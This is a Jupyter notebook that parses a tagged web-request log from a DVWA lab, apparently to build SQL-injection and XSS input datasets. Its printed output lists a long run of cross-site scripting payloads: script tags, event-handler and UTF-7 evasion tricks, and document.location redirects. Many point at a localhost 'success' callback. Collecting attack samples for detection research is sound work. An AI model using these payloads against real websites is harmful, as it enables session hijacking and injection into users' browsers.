wang/log.ipynb

{
 "cells": [
  {
   "cell_type": "code",
   "execution_count": 37,
   "metadata": {},
   "outputs": [],
   "source": [
    "import os\n",
    "from urllib.parse import unquote"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 64,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "1158\n"
     ]
    }
   ],
   "source": [
    "sqliInput = open(\"./sqliInput.txt\", 'w+')\n",
    "i = 0\n",
    "with open(\"./log_5.21_tagged.txt\", 'r') as logfile:\n",
    "    for line in logfile:\n",
    "        if i < 10000:\n",
    "            line=line.split(' ')\n",
    "            if line[0]=='[sqli]':\n",
    "                i = i + 1\n",
    "                #res = line[7].find('/vulnerabilities/sqli/?id=')\n",
    "                #if res == -1:\n",
    "                    #print(line[7])\n",
    "                #print(unquote((line[7])))\n",
    "                inputLine = unquote((line[7])).lstrip('/vulnerabilities/sqli/?id=')\n",
    "                sqliInput.write(inputLine + '\\n')\n",
    "                #print(inputLine)\n",
    "        else:\n",
    "            break\n",
    "    print(i)\n",
    "logfile.close()\n",
    "sqliInput.close()"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 73,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "\">f4e0946b1fb442412a74057e551e305f\n",
      "</TITLE>ee5421ad0673e33a3557a951b7bf6c5c\n",
      "\"><SCRIPT>alert('ad0bec55932dbce4534d4849aa1b8677')</SCRIPT>\n",
      "\"><img src=\"x:x\" onerror=\"8996c728655e2b0a086799ef6d9ee64c\">\n",
      "<BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=26cda903672242cd42817e964a123b74>\n",
      "'';!--\"<aa5a95f53a81761759ca2837ec9ace0f>=&{()}\"\n",
      "'';!--\"<534bdeaa459f8a66dd555502bddab441>=&{()}\"\n",
      "<IMG SRC=\"4c3abcb44472dea96be84e8d670d84e1\">\n",
      "<IMG SRC=ef0fa4fb2f2d380c804977063463b9ba>\n",
      "<IMG SRC=`316f77ec6acaefff35283619c5ae539d`>\n",
      "<IMG \"\"\">6d50d700ad84179bbf667bf64910bbda\">\n",
      "<IMG SRC=\" &#14;  91d80a644ff87ef5de58f56977515403\">\n",
      "<DIV STYLE=\"behaviour: url(c5b14268f8131172aeea227070cab813);\">\n",
      "\";d95c69e0b9d9ee3c8b585986c0488199//\n",
      "<IMG SRC='065e95bccc46d4865ef8742dcaafc56e'\n",
      "<BODY BACKGROUND=\"2a0c9eaef17bc7ab53e2c4137be629c4\">\n",
      "<<SCRIPT>41edfaf5f20b316ea928e72db03a2cf1//<</SCRIPT>\n",
      "<INPUT TYPE=\"IMAGE\" SRC=\"8edc1a3336abef8a9a3afdb99fbda2f3\">\n",
      "<BODY ONLOAD=d3cac1611a2ebd6045b11a4e5c327e67>\n",
      "<IMG DYNSRC=\"273f7d92eb8530dde6f3335c20433c73\">\n",
      "<IMG LOWSRC=\"2f59baf954d9fd8b16f73d28dd91812b\">\n",
      "<BGSOUND SRC=\"cb14ecd1b3455bc2c4fba43835228fa8\">\n",
      "<BR SIZE=\"&{31b175754e9473e6d723b2da39afb2d3}\">\n",
      "<LINK REL=\"stylesheet\" HREF=\"dec40a29a84c6415549f97120f01c1f7\">\n",
      "<IMG SRC='vbscript:810957750e22181504c4c85edb755e3a'>\n",
      "<IMG SRC=\"mocha:[d1f8e242b30c10ae96e6bda22a6eb93a]\">\n",
      "<IMG SRC=\"livescript:[5e75c3c6e7eedc36fbced48664f0448f]\">\n",
      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=db726f321bd320fb7f10fc5f325880dd\">\n",
      "<TABLE BACKGROUND=\"971fdd82b8a074f1107d43c48c899ec2\">\n",
      "<TABLE BACKGROUND=javascript:c2af656edada57314bfb94513f7aa839>\n",
      "<TABLE><TD BACKGROUND=\"28ff52c62ce988c7c6b53a34b0013a6a\">\n",
      "<DIV STYLE=\"background-image: url(5a06f34b9c78e5ad46d164c58f34fffd);\">\n",
      "<DIV STYLE=\"width: expression(9fd0ddf43135d190d225523aeb1d8fc7);\">\n",
      "<IFRAME SRC=\"1304c4c4cce5fdaaa5ea93a34ca5de4b\"></IFRAME>\n",
      "<iframe/ /onload=07eb8bb6b9599227d9dd97fc9d29ab2a></iframe>\n",
      "<iframe/ \"onload=debf3a1acad4d174cfb1cf5602b58159></iframe>\n",
      "<iframe///////onload=56d08b588cbbc7f555a699aa7f2925a5></iframe>\n",
      "<iframe \"onload=a8c05847e8dfc97b2da133910ab3aa51></iframe>\n",
      "<iframe/ \"onload=c1e37cc6cf3483a05ae1f188ae7a2b70></iframe>\n",
      "<iframe<?php echo chr(11)?> onload=37f71c36e5611eb0db5619235c109b76></iframe>\n",
      "<iframe<?php echo chr(12)?> onload=06a3998fe2e1bfac6bf86b7dc2cd27bb></iframe>\n",
      "<TABLE BACKGROUND=\"3cb52b0abcb904f2abc82ac1a0c6ef24\">\n",
      "<FRAMESET><FRAME SRC=\"5ed1195f4e77978f8866de15651acdc9\"></FRAMESET>\n",
      "<TABLE><TD BACKGROUND=\"1c92538a0c58335e2eadc8f99279f724\">\n",
      "<DIV STYLE=\"background-image: url(&#1;613971936337c0a71d315590dcdd73d8)\">\n",
      "<DIV STYLE=\"width: expression(534efb7531ce8359c1aa4351f6d57803);\">\n",
      "<IMG STYLE=\"xss:expr/*4d67961793c7080399f59bb0a4ef3bb9*/ession(4d67961793c7080399f59bb0a4ef3bb9)\">\n",
      "<b57067c676fb022ad62aae7fe8eca99c STYLE=\"xss:expression(b57067c676fb022ad62aae7fe8eca99c)\">\n",
      "<STYLE TYPE=\"text/javascript\">0c72cb1171b6f4c964ede0d0d9a74982</STYLE>\n",
      "<STYLE>.6a521e6a3d4c90b9ba44103748bb6523{background-image:url(\"6a521e6a3d4c90b9ba44103748bb6523\");}</STYLE><A CLASS=6a521e6a3d4c90b9ba44103748bb6523></A>\n",
      "<STYLE type=\"text/css\">BODY{background:url(\"9eef1b88ca5c421c8ecedc58c0957fc3\")}</STYLE>\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"255a6f5e47badc47b65852e347b8c920\")\";eval(a+b+c+d);\n",
      "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=67c7db4c6c3037ccfd182eeded017b89></OBJECT>\n",
      "<BASE HREF=\"5d5af2503b2bea28e8b6b2072b18aaa9//\">\n",
      "<!--[if gte IE 4]>5d732735076d2b5de298479e2dab5773<![endif]-->\n",
      "<? echo('<SCR)';echo('IPT>5b749a6613e9dfa5a02b124f5893d172</SCRIPT>'); ?>\n",
      "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;e3a4a628900560eea40e4248eb1eb73d&lt;/SCRIPT&gt;\">\n",
      "<SCRIPT SRC=http://127.0.0.1>71b62c4d1820d4b99c916342e677bf7d</SCRIPT>\n",
      "<IMG SRC=\"jav&#x0D;ascript:bd96d2a0397867d27a870d3a6a9cef08\">\n",
      "<IMG SRC=\"&14;javascript:02f8b6d28290ec13db1c405e6d5f041a\">\n",
      "--- <IMG SRC=\" &#14;  aac38f18272f7ca88ed241483239ad1e\">\n",
      "<SCRIPT>a=/3cedbf2e398b4941c2e911a5a814b9ff/alert(a.source)</SCRIPT>\n",
      "--- <IMG SRC=\"73b569b16e09ddc28edbfd499f9350de\"\n",
      "--- \";1e8303ae31b56681bbd59908fa5690e0;//\n",
      "<META HTTP-EQUIVo\"refresh\" CONTENT=\"0; URL=http://;URL=4ccb7a6f07197cca31c06f0ce5a4ff3b\">\n",
      "<SCRIPT <B>=3561613cabb7cd8c2ae9d8794f176b33\"></SCRIPT>\n",
      "<IFRAME SRC=\"javascript:e7a40501e304b23db72d6bdc9065d14b <\n",
      "<DIV STYLE=\"background-image: url(&#1;javascript:bb8d5522cdcae5615800eee56fd4b5f5\">\n",
      "<LAYER SRC=\"javascript:ea6e873c86215049322367460ec88569></LAYER>\n",
      "<SCRIPT>a=/4efcc3a960c1e1f04150af307ab04b05/n4efcc3a960c1e1f04150af307ab04b05</SCRIPT>\n",
      "<STYLE>li {list-style-image: url(\"f1aab12bd70668bf15aade80a360dd67</STYLE><UL><LI>f1aab12bd70668bf15aade80a360dd67\n",
      "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"></HEAD>+ADw-SCRIPT+AD4-19ebfc1917cd6075ee7af827d8f80918+ADw-/SCRIPT+AD4-\n",
      "<input type=\"image\" dynsrc=\"db95f8e1f51f5379047b917eccdb7b4c\">\n",
      "<a href=\"javascript#ea9f9935d526e46070e733bcd3839358\">\n",
      "&d209e5e9622e2cb9876aea9eaf4a8bb0\">\n",
      "&{0b8d0d36bccbdcb2274c729d9da2a8e6};\n",
      "<IMG SRC=&{17c52e7645d611f3e86c736847d282e0};>\n",
      "<DIV STYLE=\"binding: url(javascript:81a5fd449e5b786ec0f6db7150336f4d);\">\n",
      "<a href=\"about:f6b2dbfacf143ee72d066e1bf344ae85\">\n",
      "<OBJECT classid=clsid:...\" codebase=\"javascript:1f9e651daafc98c801eec91ef0d12b78\">\n",
      "![CDATA[<!--]]<SCRIPT>eba5490643ab3a054ea715d3bfa0c73b//--></SCRIPT>\n",
      "<style><!--</style><SCRIPT>59e91962037a388a778d2b28ee3ad8bd//--></SCRIPT>\n",
      "<!-- -- -->1095baf223b23fd38afebb671fd61442<!-- -- -->\n",
      "<xml id=\"X\"><a><b>f37beedf0872587f19eb052e4dd9baa6;<b></a></xml>\n",
      "<div datafld=\"b\" dataformatas=\"html\" datasrc=\"#5a64017f6cf9721190a2c679cb1133ba\"></div>\n",
      "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]<![CDATA[cript:590013902f4d7f35b13cbc1fb7e8ac2d\">]]</C><X></xml>\n",
      "<form id=\"test\" /><button form=\"test\" formaction=\"javascript:3790586245b0de2472dd11d36789a5c5\">X\n",
      "<input onfocus=javascript:b7d750c8b23ebc6a9b7b1a2b9d817ed3 autofocus>\n",
      "<video poster=javascript:f003d1a9263289c53c981d5be91177cc//\n",
      "<keygen onfocus=javascript:36779b605f58a28dd51bac5ce25aeb40 autofocus>\n",
      "<select onfocus=javascript:f009b761f9346cf2b902fcb8a5abca2e autofocus>\n",
      "<input onblur=javascript:1f3aedbfd4141a7840a9024825e01c1d autofocus><input autofocus>\n",
      "<textarea onfocus=javascript:fdceae1c997174a3f5347e5377a84a43 autofocus>\n",
      "X<form id=test><input></form><button form=test onformchange==javascript:233a4e9f2135c0cd91c1abafecbda8da>X\n",
      "<body onscroll=70f90f5a8c262aacaacf6b3c40e841d5><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>\n",
      "X<form id=test onforminput=javascript:0c1cde97fd68a5e0c7ca81f811fd0fa8><input></form>\n",
      "<video><source onerror=\"javascript:716cbfbc25758c864cf71234877cdfbc\">\n",
      "<video onerror=\"javascript:c1afd2d06579a63c92ed9bfdc2a8dae3\"><source>\n",
      "\";<script>document.location=document.location.hash.substring(1)</script>//\n",
      "'';!--\"<script>document.location=document.location.hash.substring(1)</script>=&{()}\" \n",
      "<BR SIZE=\"&{<script>document.location=document.location.hash.substring(1)</script>}\">\n",
      "<IMG SRC=`http://localhost:19084/success/316f77ec6acaefff35283619c5ae539d`>\n",
      "\"><SCRIPT>alert('http://localhost:19084/success/ad0bec55932dbce4534d4849aa1b8677')</SCRIPT>\n",
      "<IMG SRC=\"http://localhost:19084/success/4c3abcb44472dea96be84e8d670d84e1\">\n",
      "<IMG SRC=http://localhost:19084/success/ef0fa4fb2f2d380c804977063463b9ba>\n",
      "<<SCRIPT>document.location=document.location.hash.substring(1)//<</SCRIPT>\n",
      "<DIV STYLE=\"behaviour: url(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<INPUT TYPE=\"IMAGE\" SRC=\"http://localhost:19084/success/8edc1a3336abef8a9a3afdb99fbda2f3\">\n",
      "<BODY BACKGROUND=\"http://localhost:19084/success/2a0c9eaef17bc7ab53e2c4137be629c4\">\n",
      "<IMG \"\"\"><script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<IMG SRC='vbscript:http://localhost:19084/success/810957750e22181504c4c85edb755e3a'>\n",
      "<LINK REL=\"stylesheet\" HREF=\"http://localhost:19084/success/dec40a29a84c6415549f97120f01c1f7\">\n",
      "<IMG LOWSRC=\"http://localhost:19084/success/2f59baf954d9fd8b16f73d28dd91812b\">\n",
      "<iframe<?php echo chr(12)?> onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<IMG DYNSRC=\"http://localhost:19084/success/273f7d92eb8530dde6f3335c20433c73\">\n",
      "<iframe<?php echo chr(11)?> onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "'';!--\"<script>document.location=document.location.hash.substring(1)</script>=&{()}\" \n",
      "<DIV STYLE=\"width: expression(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "\"><img src=\"x:x\" onerror=\"http://localhost:19084/success/8996c728655e2b0a086799ef6d9ee64c\">\n",
      "<TABLE BACKGROUND=javascript:document.location=document.location.hash.substring(1)>\n",
      "<iframe/ \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<BODY ONLOAD=<script>document.location=document.location.hash.substring(1)</script>>\n",
      "<IMG SRC='http://localhost:19084/success/065e95bccc46d4865ef8742dcaafc56e'\n",
      "\"><script>document.location=document.location.hash.substring(1)</script>\n",
      "<STYLE>.XSS{background-image:url(\"http://localhost:19084/success/6a521e6a3d4c90b9ba44103748bb6523\");}</STYLE><A CLASS=XSS></A>\n",
      "<IMG SRC=\"livescript:[http://localhost:19084/success/5e75c3c6e7eedc36fbced48664f0448f]\">\n",
      "--- <IMG SRC=\"http://localhost:19084/success/73b569b16e09ddc28edbfd499f9350de\"\n",
      "<XSS STYLE=\"xss:expression(<script>document.location=document.location.hash.substring(1)</script>)\">\n",
      "<TABLE><TD BACKGROUND=\"http://localhost:19084/success/28ff52c62ce988c7c6b53a34b0013a6a\">\n",
      "<iframe///////onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<BGSOUND SRC=\"http://localhost:19084/success/cb14ecd1b3455bc2c4fba43835228fa8\">\n",
      "<IMG SRC=\"mocha:[http://localhost:19084/success/d1f8e242b30c10ae96e6bda22a6eb93a]\">\n",
      "<IMG STYLE=\"xss:expr/*XSS*/ession(<script>document.location=document.location.hash.substring(1)</script>)\">\n",
      "<DIV STYLE=\"background-image: url(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<STYLE>li {list-style-image: url(\"<script>document.location=document.location.hash.substring(1)</script></STYLE><UL><LI>XSS\n",
      "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"></HEAD>+ADw-SCRIPT+AD4-document.location=document.location.hash.substring(1)+ADw-/SCRIPT+AD4-\n",
      "<iframe/ /onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<TABLE BACKGROUND=\"http://localhost:19084/success/3cb52b0abcb904f2abc82ac1a0c6ef24\">\n",
      "<LAYER SRC=\"javascript:document.location=document.location.hash.substring(1)></LAYER>\n",
      "<FRAMESET><FRAME SRC=\"http://localhost:19084/success/5ed1195f4e77978f8866de15651acdc9\"></FRAMESET>\n",
      "<TABLE BACKGROUND=\"http://localhost:19084/success/971fdd82b8a074f1107d43c48c899ec2\">\n",
      "<iframe \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;document.location=document.location.hash.substring(1)&lt;/SCRIPT&gt;\">\n",
      "<IFRAME SRC=\"http://localhost:19084/success/1304c4c4cce5fdaaa5ea93a34ca5de4b\"></IFRAME>\n",
      "<? echo('<SCR)';echo('IPT>document.location=document.location.hash.substring(1)</SCRIPT>'); ?>\n",
      "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=<script>document.location=document.location.hash.substring(1)</script>></OBJECT>\n",
      "<SCRIPT <B>=document.location=document.location.hash.substring(1)\"></SCRIPT>\n",
      "<BASE HREF=\"<script>document.location=document.location.hash.substring(1)</script>//\">\n",
      "<SCRIPT>a=/document.location=document.location.hash.substring(1)/alert(a.source)</SCRIPT>\n",
      "<META HTTP-EQUIVo\"refresh\" CONTENT=\"0; URL=http://;URL=<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "</TITLE><script>document.location=document.location.hash.substring(1)</script>\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"http://localhost:19084/success/255a6f5e47badc47b65852e347b8c920\")\";eval(a+b+c+d);\n",
      "<STYLE TYPE=\"text/javascript\"><script>document.location=document.location.hash.substring(1)</script></STYLE>\n",
      "<IMG SRC=\"&14;javascript:document.location=document.location.hash.substring(1)\">\n",
      "<!--[if gte IE 4]><script>document.location=document.location.hash.substring(1)</script><![endif]-->\n",
      "<TABLE><TD BACKGROUND=\"http://localhost:19084/success/1c92538a0c58335e2eadc8f99279f724\">\n",
      "--- \";<script>document.location=document.location.hash.substring(1)</script>;//\n",
      "<STYLE type=\"text/css\">BODY{background:url(\"http://localhost:19084/success/9eef1b88ca5c421c8ecedc58c0957fc3\")}</STYLE>\n",
      "<select onfocus=javascript:document.location=document.location.hash.substring(1) autofocus>\n",
      "<form id=\"test\" /><button form=\"test\" formaction=\"javascript:document.location=document.location.hash.substring(1)\">X\n",
      "&<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<IFRAME SRC=\"javascript:document.location=document.location.hash.substring(1) <\n",
      "<DIV STYLE=\"binding: url(javascript:document.location=document.location.hash.substring(1));\">\n",
      "<SCRIPT>a=/XSS/ndocument.location=document.location.hash.substring(1)</SCRIPT>\n",
      "<OBJECT classid=clsid:...\" codebase=\"javascript:document.location=document.location.hash.substring(1)\">\n",
      "&{<script>document.location=document.location.hash.substring(1)</script>};\n",
      "<SCRIPT SRC=http://127.0.0.1>http://localhost:19084/success/71b62c4d1820d4b99c916342e677bf7d</SCRIPT>\n",
      "<!-- -- --><script>document.location=document.location.hash.substring(1)</script><!-- -- -->\n",
      "<style><!--</style><SCRIPT>document.location=document.location.hash.substring(1)//--></SCRIPT>\n",
      "<IMG SRC=&{http://localhost:19084/success/17c52e7645d611f3e86c736847d282e0};>\n",
      "<input onblur=javascript:document.location=document.location.hash.substring(1) autofocus><input autofocus>\n",
      "<xml id=\"X\"><a><b><script>document.location=document.location.hash.substring(1)</script>;<b></a></xml>\n",
      "<a href=\"about:<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "![CDATA[<!--]]<SCRIPT>document.location=document.location.hash.substring(1)//--></SCRIPT>\n",
      "<video poster=javascript:document.location=document.location.hash.substring(1)//\n",
      "<input onfocus=javascript:document.location=document.location.hash.substring(1) autofocus>\n",
      "<input type=\"image\" dynsrc=\"http://localhost:19084/success/db95f8e1f51f5379047b917eccdb7b4c\">\n",
      "X<form id=test><input></form><button form=test onformchange==javascript:document.location=document.location.hash.substring(1)>X\n",
      "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]<![CDATA[cript:http://localhost:19084/success/590013902f4d7f35b13cbc1fb7e8ac2d\">]]</C><X></xml>\n",
      "X<form id=test onforminput=javascript:document.location=document.location.hash.substring(1)><input></form>\n",
      "<keygen onfocus=javascript:document.location=document.location.hash.substring(1) autofocus>\n",
      "<body onscroll=<script>document.location=document.location.hash.substring(1)</script>><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>\n",
      "<textarea onfocus=javascript:document.location=document.location.hash.substring(1) autofocus>\n",
      "<video><source onerror=\"javascript:document.location=document.location.hash.substring(1)\">\n",
      "<DIV STYLE=\"width: expression(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<iframe/ \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "`http://localhost:19084/success/316f77ec6acaefff35283619c5ae539d`\n",
      "</pre\n",
      "`http://localhost:19084/success/316f77ec6acaefff35283619c5ae539d`\n",
      "</pre></div><h2>More Information</h2><ul><li><a href=\n",
      "<script>document.location=document.location.hash.substring(1)</script>\n",
      "<script>document.location=document.location.hash.substring(1)</dvwa/images/logo.png\n",
      "<script>document.location=document.location.hash.substring(1)</script>\n",
      "</pre></div><h2>More Information</h2><ul><li><a href=\n",
      "\">c2ce3117bd4e34e5ceb58553d7696989\n",
      "'';!--\"<e9f26e4779aa751526373254acf6c0b4>=&{()}\"\n",
      "\"><SCRIPT>alert('036f95d529e2a55c5f757e4328409390')</SCRIPT>\n",
      "\"><img src=\"x:x\" onerror=\"4954a19e3ee11006533682fe16985bdf\">\n",
      "<BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=d3da57b9207d25b3f9d2e3df0774dbe0>\n",
      "</TITLE>a809475524fb7c44197176878afb22cf\n",
      "'';!--\"<380007649b8aaa826c60df8a818113cb>=&{()}\"\n",
      "<IMG SRC=`2a4f538e8faf99b4bd8b90d5c17a7628`>\n",
      "<IMG SRC=f479df246f6c3c4879aafccfe3d63d37>\n",
      "<IMG SRC=\"198a220b205683a92d4eff2237917029\">\n",
      "<IMG \"\"\">aef13bda347ffc8dc2343a33d5752606\">\n",
      "<IMG SRC=\" &#14;  9f249ce7fed80c563f17ddb7fc320d8f\">\n",
      "<DIV STYLE=\"behaviour: url(5d9c67a176c7f69e2a020418452f204b);\">\n",
      "<<SCRIPT>dd7942ab95b31ff22740da2b6cc43570//<</SCRIPT>\n",
      "\";41d69847bd7e724ef02bae5faa45361b//\n",
      "<IMG SRC='e7e292818486273a2a65867a9d4a4809'\n",
      "<BODY BACKGROUND=\"826fe543d606cbe24a3a0cd929f28225\">\n",
      "<INPUT TYPE=\"IMAGE\" SRC=\"f30c1efd1d0389ffbf70c468e78ba5e6\">\n",
      "<BODY ONLOAD=c6f237a544c9339825def31927a294bc>\n",
      "<IMG DYNSRC=\"ad36b94d936656890627cff41a496501\">\n",
      "<BGSOUND SRC=\"4f2c0dc4db2f1f493c91e54c44d82bb0\">\n",
      "<IMG LOWSRC=\"84cb3f777a9ae6915d672a186d9d87b6\">\n",
      "<BR SIZE=\"&{14db752e5c5a681b8c9498622e62f6bf}\">\n",
      "<LINK REL=\"stylesheet\" HREF=\"3f22c0a2207c1b7d444fc323a2d13f44\">\n",
      "<IMG SRC='vbscript:ea2979bd62ab6577440ba26f761a1700'>\n",
      "<IMG SRC=\"mocha:[d78ef735eb4c635eec5c09fcde54f165]\">\n",
      "<IMG SRC=\"livescript:[76a70a94a33f35ccffa19624685f73aa]\">\n",
      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=16f2bb095ab01b7e58f14046df853d0c\">\n",
      "<TABLE BACKGROUND=\"9d8767bf95c1e03d58661c2d4f9732b0\">\n",
      "<TABLE BACKGROUND=javascript:5e0b472bad8873fe2a75d5dca2a148b8>\n",
      "<DIV STYLE=\"background-image: url(6f11c33e5c8b20d8dd41de0283d210d4);\">\n",
      "<TABLE><TD BACKGROUND=\"f38543ed684e08b0c71f2cb863a3534b\">\n",
      "<DIV STYLE=\"width: expression(930c78017f4f19a88a0d37f6b073782b);\">\n",
      "<IFRAME SRC=\"0c3a2b54e6a64f41eeae7e9ff49061af\"></IFRAME>\n",
      "<iframe/ /onload=dac5fe430588e836641b4d1e725a612a></iframe>\n",
      "<iframe/ \"onload=e232f50bc73db977d9696963bd0f9555></iframe>\n",
      "<iframe///////onload=09e7560039fbb501abb2835da0c232f3></iframe>\n",
      "<iframe \"onload=83b57dcb25f6210857c41052a546677e></iframe>\n",
      "<iframe/ \"onload=e1e7ed7d696243802804ac95a9735978></iframe>\n",
      "<iframe<?php echo chr(11)?> onload=6ce14d4225f40789d086c5e83d8a1435></iframe>\n",
      "<iframe<?php echo chr(12)?> onload=811a1901e5cdc17e1cc5dc23e61a4b52></iframe>\n",
      "<FRAMESET><FRAME SRC=\"a1176f204c8b87333ca8a75401eea24f\"></FRAMESET>\n",
      "<TABLE BACKGROUND=\"a94c17f83cedca6bbf1f954d4f72a0ef\">\n",
      "<TABLE><TD BACKGROUND=\"d800ae31e541d5dc95cb1d3f3d51eea8\">\n",
      "<DIV STYLE=\"background-image: url(&#1;ede9dfddb082e086afb334831fa2938c)\">\n",
      "<DIV STYLE=\"width: expression(e065b6fcf677dd29e04cc4722b1e39b6);\">\n",
      "<IMG STYLE=\"xss:expr/*76abf3cac8a12b800ada00cfffc11e47*/ession(76abf3cac8a12b800ada00cfffc11e47)\">\n",
      "<87992464a9b038d17d5be9834e4213b4 STYLE=\"xss:expression(87992464a9b038d17d5be9834e4213b4)\">\n",
      "<STYLE TYPE=\"text/javascript\">b3931b64a7e61eb9419ee029831b4759</STYLE>\n",
      "<STYLE>.91ef67c19ddc68c2d6828021fcb253f4{background-image:url(\"91ef67c19ddc68c2d6828021fcb253f4\");}</STYLE><A CLASS=91ef67c19ddc68c2d6828021fcb253f4></A>\n",
      "<STYLE type=\"text/css\">BODY{background:url(\"8702241d66446b4e37754ea4a99ceb83\")}</STYLE>\n",
      "<!--[if gte IE 4]>4930afb9af63c019b827d673528be531<![endif]-->\n",
      "<BASE HREF=\"2f1d9551a0a372cf21178df46a137439//\">\n",
      "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=271517052d43ec09ba86e9a330ce7689></OBJECT>\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"07d9e77a43287b74b38e707ee19748d6\")\";eval(a+b+c+d);\n",
      "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;f665f9dc6d82d7320689bdd3cbe7c77c&lt;/SCRIPT&gt;\">\n",
      "<? echo('<SCR)';echo('IPT>48df0ff0429c669618215e33f83257d0</SCRIPT>'); ?>\n",
      "<IMG SRC=\"&14;javascript:2193cf53ca425b75fefdeeed79b0fd31\">\n",
      "<SCRIPT SRC=http://127.0.0.1>68da376720e8625a901f914801fbef46</SCRIPT>\n",
      "<IMG SRC=\"jav&#x0D;ascript:4e53ebe3d53703ef04c94bf3fd572430\">\n",
      "--- <IMG SRC=\"bae1ab4c4886f52c900b516f5a47116f\"\n",
      "<SCRIPT>a=/75a3f732e35559b0def17f646c2e75db/alert(a.source)</SCRIPT>\n",
      "--- <IMG SRC=\" &#14;  60adf2d29da7b9f2e4f5f401f9367a1d\">\n",
      "--- \";d045634ae0317c251c008fd48a999ecd;//\n",
      "<META HTTP-EQUIVo\"refresh\" CONTENT=\"0; URL=http://;URL=7f930dae85bf75c964eeec982fe336a4\">\n",
      "<SCRIPT <B>=639edf24d992c092b715aa6b94a64000\"></SCRIPT>\n",
      "<IFRAME SRC=\"javascript:11e087d0b9e62d0ba841b73f83bfc3fb <\n",
      "<SCRIPT>a=/4f580ffb0b8a253f34a2a1d146356bca/n4f580ffb0b8a253f34a2a1d146356bca</SCRIPT>\n",
      "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"></HEAD>+ADw-SCRIPT+AD4-769418c16c72a220a16b394ca9ad1430+ADw-/SCRIPT+AD4-\n",
      "<STYLE>li {list-style-image: url(\"4f0ebee88a5e9fe333f9b903d35f85bf</STYLE><UL><LI>4f0ebee88a5e9fe333f9b903d35f85bf\n",
      "<DIV STYLE=\"background-image: url(&#1;javascript:3f1bc3f98d51b6c4189e1b32d957b7fe\">\n",
      "<LAYER SRC=\"javascript:f6b8f87b742a0b5737c126099bf9e203></LAYER>\n",
      "&d31da3fa87a45dd29c54c246e13e9f64\">\n",
      "<input type=\"image\" dynsrc=\"eadaeed6b50a8f236feb572a6e5e18a2\">\n",
      "&{d3ab499b7c3a51b99e8db4f37e1272ac};\n",
      "<a href=\"javascript#ae4a603cae72ff08cade8f559b301581\">\n",
      "<IMG SRC=&{e51487f026bd8b9067014826a7296c57};>\n",
      "<a href=\"about:62813a44e6d3b9d08e6322b46f4a6ad9\">\n",
      "<style><!--</style><SCRIPT>d8d6bc70d11979b3a819413227b7fd7c//--></SCRIPT>\n",
      "<OBJECT classid=clsid:...\" codebase=\"javascript:25e069ceafba695ee235d71410ea3e66\">\n",
      "<DIV STYLE=\"binding: url(javascript:f8b8f016a54a90ba3f9a44485245c84d);\">\n",
      "![CDATA[<!--]]<SCRIPT>e078746841225d828978221b829145cc//--></SCRIPT>\n",
      "<div datafld=\"b\" dataformatas=\"html\" datasrc=\"#f4e8b7759dacb00aa292ecc8bd3e263f\"></div>\n",
      "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]<![CDATA[cript:12432dbbda0b0c094aad45542f17241a\">]]</C><X></xml>\n",
      "<xml id=\"X\"><a><b>3d9ad01fd57639965c496d5c5fe0b265;<b></a></xml>\n",
      "<!-- -- -->ed94e1d754a19fb3bbd5124f58496966<!-- -- -->\n",
      "<form id=\"test\" /><button form=\"test\" formaction=\"javascript:9e178ceb2cbc27f9f88cc55a4d106d36\">X\n",
      "<keygen onfocus=javascript:e0667a8e5193a99d0b64b3a6148efd4a autofocus>\n",
      "<select onfocus=javascript:bf6dc8431105c514c4a5bb1c3136c19a autofocus>\n",
      "<input onblur=javascript:08fde6a522ef3e1a892c8d9731d7eb60 autofocus><input autofocus>\n",
